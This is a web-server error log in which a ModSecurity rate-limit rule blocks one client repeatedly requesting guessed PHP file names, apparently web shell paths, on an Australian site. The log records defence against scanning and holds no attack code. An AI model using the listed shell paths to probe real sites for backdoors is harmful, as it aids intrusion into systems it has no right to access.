[Sun Apr 19 02:42:10.200864 2026] [:error] [pid 60910:tid 60923] [client 20.91.197.181:49819] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "aePQgnFWunkyacYqsD1MXgAAAUs"]
[Sun Apr 19 02:42:10.803681 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:49798] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "aePQgnFWunkyacYqsD1MYAAAAVM"]
[Sun Apr 19 02:42:11.383877 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:52632] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "aePQg3FWunkyacYqsD1MZAAAAUY"]
[Sun Apr 19 02:42:12.050989 2026] [:error] [pid 41277:tid 41287] [client 20.91.197.181:55197] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "aePQhEH3ayszMLZYflsF0gAAAYg"]
[Sun Apr 19 02:42:12.885078 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:55532] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "aePQhEyD4Jm27Mb3NJiWJgAAAIk"]
[Sun Apr 19 02:42:13.659607 2026] [:error] [pid 32252:tid 32261] [client 20.91.197.181:52085] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bjfl.php"] [unique_id "aePQheXl4Yc-Lt5fJ9isKQAAAQc"]
[Sun Apr 19 02:42:14.406871 2026] [:error] [pid 32167:tid 32249] [client 20.91.197.181:51799] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "aePQhkyD4Jm27Mb3NJiWKgAAAJg"]
[Sun Apr 19 02:42:15.063897 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:51806] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "aePQh5CHNkWwdiZnafLXHwAAAEM"]
[Sun Apr 19 02:42:15.836663 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:50038] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "aePQh0yD4Jm27Mb3NJiWMAAAAJc"]
[Sun Apr 19 02:42:17.238464 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:47368] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "aePQiUyD4Jm27Mb3NJiWNQAAAIE"]
[Sun Apr 19 02:42:17.855248 2026] [:error] [pid 32165:tid 32182] [client 20.91.197.181:47399] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aePQiae2vKwEk_N0Brb_xQAAAA0"]
[Sun Apr 19 02:42:18.477083 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:50031] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aePQikyD4Jm27Mb3NJiWOgAAAIs"]
[Sun Apr 19 02:42:19.101657 2026] [:error] [pid 32167:tid 32245] [client 20.91.197.181:47419] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aePQi0yD4Jm27Mb3NJiWPQAAAJQ"]
[Sun Apr 19 02:42:19.686193 2026] [:error] [pid 32166:tid 32219] [client 20.91.197.181:49808] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "aePQi5CHNkWwdiZnafLXJwAAAFU"]
[Sun Apr 19 02:42:20.342681 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:55196] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aePQjOXl4Yc-Lt5fJ9isKgAAAQ4"]
[Sun Apr 19 02:42:20.982561 2026] [:error] [pid 32165:tid 32179] [client 20.91.197.181:50034] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aePQjKe2vKwEk_N0Brb_xgAAAAo"]
[Sun Apr 19 02:42:21.740944 2026] [:error] [pid 41277:tid 41299] [client 20.91.197.181:47379] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aePQjUH3ayszMLZYflsF3wAAAZQ"]
[Sun Apr 19 02:42:30.036619 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:51023] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "aePQlnFWunkyacYqsD1MkAAAAVE"]
[Sun Apr 19 02:42:30.580369 2026] [:error] [pid 32252:tid 32258] [client 20.91.197.181:50017] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "aePQluXl4Yc-Lt5fJ9isNAAAAQQ"]
[Sun Apr 19 02:42:31.204244 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:55551] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "aePQl3FWunkyacYqsD1MlAAAAU4"]
[Sun Apr 19 02:42:31.865804 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:51789] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "aePQl-Xl4Yc-Lt5fJ9isNQAAAQ4"]
[Sun Apr 19 02:42:32.529582 2026] [:error] [pid 32252:tid 32257] [client 20.91.197.181:52055] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aePQmOXl4Yc-Lt5fJ9isOAAAAQM"]
[Sun Apr 19 02:42:33.253174 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:49986] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aePQmUH3ayszMLZYflsF8AAAAY0"]
[Sun Apr 19 02:42:34.359694 2026] [:error] [pid 32252:tid 32265] [client 20.91.197.181:49821] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aePQmuXl4Yc-Lt5fJ9isOwAAAQs"]
[Sun Apr 19 02:42:34.985225 2026] [:error] [pid 32252:tid 32262] [client 20.91.197.181:47396] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aePQmuXl4Yc-Lt5fJ9isPAAAAQg"]
[Sun Apr 19 02:42:35.597955 2026] [:error] [pid 60910:tid 60921] [client 20.91.197.181:52057] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aePQm3FWunkyacYqsD1MlwAAAUk"]
[Sun Apr 19 02:42:36.200986 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:50042] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aePQnHFWunkyacYqsD1MmwAAAUA"]
[Sun Apr 19 02:42:36.809452 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:52070] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aePQnKe2vKwEk_N0Brb_0gAAAAw"]
[Sun Apr 19 02:42:37.600132 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:50024] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "aePQnUyD4Jm27Mb3NJiWRwAAAJI"]
[Sun Apr 19 02:42:38.183411 2026] [:error] [pid 33517:tid 33529] [client 20.91.197.181:50033] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aePQnn4Zz-rubR1wiZ-7YgAAAMo"]
[Sun Apr 19 02:42:38.948057 2026] [:error] [pid 32252:tid 32268] [client 20.91.197.181:47380] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aePQnuXl4Yc-Lt5fJ9isPwAAAQ4"]
[Sun Apr 19 02:42:39.800576 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:52068] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aePQn0yD4Jm27Mb3NJiWSQAAAI8"]
[Sun Apr 19 02:42:40.338699 2026] [:error] [pid 32165:tid 32179] [client 20.91.197.181:52076] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/csv.php"] [unique_id "aePQoKe2vKwEk_N0Brb_1QAAAAo"]
[Sun Apr 19 02:42:41.111114 2026] [:error] [pid 60910:tid 60915] [client 20.91.197.181:47363] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "aePQoXFWunkyacYqsD1MpAAAAUM"]
[Sun Apr 19 02:42:42.022446 2026] [:error] [pid 41277:tid 41279] [client 20.91.197.181:52645] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "aePQokH3ayszMLZYflsF-gAAAYA"]
[Sun Apr 19 02:42:42.586393 2026] [:error] [pid 32167:tid 32246] [client 20.91.197.181:52086] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "aePQokyD4Jm27Mb3NJiWUgAAAJU"]
[Sun Apr 19 02:42:43.318138 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:52063] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sale.php"] [unique_id "aePQo3FWunkyacYqsD1MqAAAAVU"]
[Sun Apr 19 02:42:44.193148 2026] [:error] [pid 32167:tid 32234] [client 20.91.197.181:55546] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa21.php"] [unique_id "aePQpEyD4Jm27Mb3NJiWVwAAAIk"]
[Sun Apr 19 02:42:44.783270 2026] [:error] [pid 32167:tid 32230] [client 20.91.197.181:49985] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa21.php"] [unique_id "aePQpEyD4Jm27Mb3NJiWWQAAAIU"]
[Sun Apr 19 02:42:45.328984 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:52087] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa21.php"] [unique_id "aePQpeXl4Yc-Lt5fJ9isQwAAAQ8"]
[Sun Apr 19 02:42:45.960759 2026] [:error] [pid 32165:tid 32189] [client 20.91.197.181:52581] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa21.php"] [unique_id "aePQpae2vKwEk_N0Brb_2wAAABQ"]
[Sun Apr 19 02:42:46.546592 2026] [:error] [pid 32165:tid 32182] [client 20.91.197.181:55214] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws73.php"] [unique_id "aePQpqe2vKwEk_N0Brb_3AAAAA0"]
[Sun Apr 19 02:42:47.121436 2026] [:error] [pid 32167:tid 32238] [client 20.91.197.181:50937] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws73.php"] [unique_id "aePQp0yD4Jm27Mb3NJiWXwAAAI0"]
[Sun Apr 19 02:42:47.702991 2026] [:error] [pid 41277:tid 41303] [client 20.91.197.181:47416] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws73.php"] [unique_id "aePQp0H3ayszMLZYflsGAQAAAZg"]
[Sun Apr 19 02:42:48.321080 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:50009] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws73.php"] [unique_id "aePQqEyD4Jm27Mb3NJiWYgAAAJA"]
[Sun Apr 19 02:42:49.296844 2026] [:error] [pid 32167:tid 32240] [client 20.91.197.181:55495] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bootstrap.php"] [unique_id "aePQqUyD4Jm27Mb3NJiWZwAAAI8"]
[Sun Apr 19 02:42:49.920449 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:55527] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bootstrap.php"] [unique_id "aePQqUyD4Jm27Mb3NJiWbAAAAIM"]
[Sun Apr 19 02:42:50.582183 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:52636] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bootstrap.php"] [unique_id "aePQqkyD4Jm27Mb3NJiWcgAAAJI"]
[Sun Apr 19 02:42:51.357202 2026] [:error] [pid 32165:tid 32183] [client 20.91.197.181:55531] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bootstrap.php"] [unique_id "aePQq6e2vKwEk_N0Brb_3gAAAA4"]
[Sun Apr 19 02:42:51.957196 2026] [:error] [pid 32252:tid 32263] [client 20.91.197.181:52587] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aePQq-Xl4Yc-Lt5fJ9isRwAAAQk"]
[Sun Apr 19 02:42:52.916964 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:55549] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aePQrHFWunkyacYqsD1MrQAAAUY"]
[Sun Apr 19 02:42:53.824718 2026] [:error] [pid 32166:tid 32204] [client 20.91.197.181:51041] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aePQrZCHNkWwdiZnafLXMwAAAEY"]
[Sun Apr 19 02:42:54.429661 2026] [:error] [pid 32252:tid 32254] [client 20.91.197.181:51033] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aePQruXl4Yc-Lt5fJ9isTQAAAQA"]
[Sun Apr 19 02:42:55.199183 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:55225] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aePQr-Xl4Yc-Lt5fJ9isUgAAAQ8"]
[Sun Apr 19 02:42:56.346704 2026] [:error] [pid 60910:tid 60936] [client 20.91.197.181:52569] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aePQsHFWunkyacYqsD1MrwAAAVg"]
[Sun Apr 19 02:42:56.979287 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:55506] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aePQsEH3ayszMLZYflsGCQAAAYw"]
